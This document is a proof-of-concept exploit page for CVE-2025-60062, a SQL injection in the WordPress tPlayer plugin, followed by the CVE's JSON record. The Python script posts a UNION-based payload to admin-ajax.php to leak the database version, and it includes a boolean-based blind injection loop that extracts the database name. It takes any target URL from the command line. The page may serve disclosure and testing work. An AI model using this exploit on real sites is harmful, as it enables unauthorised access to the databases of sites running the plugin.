CVE-2025-60062

import requests import sys # CVE-2025-60062 SQL Injection PoC # Target: WordPress tPlayer plugin <= 1.2.1.6 # Vulnerability: SQL Injection in playlist query parameter TARGET_URL = "http://target-site.com/wp-admin/admin-ajax.php" def exploit_sqli(target_url): """Exploit SQL injection to extract database version""" # Malicious payload to extract database version # Using UNION-based SQL injection technique payload = "1 UNION SELECT 1,2,3,@@version,5,6,7,8,9,10--" headers = { "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } # Build the vulnerable request data = { "action": "tplayer_get_playlist", "playlist_id": payload # Vulnerable parameter } try: response = requests.post(target_url, data=data, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Response length: {len(response.text)}") print(f"[+] Check response for database version leak") return response.text else: print(f"[-] Request failed with status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def blind_sqli_enum(target_url): """Extract data using boolean-based blind SQL injection""" # Example: Extract current database name character by character database_name = "" charset = "abcdefghijklmnopqrstuvwxyz0123456789_" for pos in range(1, 20): # Max length 20 for char in charset: payload = f"1 AND SUBSTRING((SELECT database()),{pos},1)='{char}'--" data = { "action": "tplayer_get_playlist", "playlist_id": payload } try: response = requests.post(target_url, data=data, timeout=10) # Adjust condition based on actual response behavior if "expected_pattern" in response.text: database_name += char print(f"[*] Found character: {char} (position {pos})") break except requests.exceptions.RequestException: continue print(f"[+] Database name: {database_name}") return database_name if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = TARGET_URL print(f"[*] Exploiting CVE-2025-60062 on {target}") exploit_sqli(target)

{"cve": {"id": "CVE-2025-60062", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:06.153", "lastModified": "2026-04-27T18:16:23.250", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in mmetrodw tPlayer tplayer-html5-audio-player-with-playlist allows SQL Injection.This issue affects tPlayer: from n/a through <= 1.2.1.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/tplayer-html5-audio-player-with-playlist/vulnerability/wordpress-tplayer-plugin-1-2-1-6-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}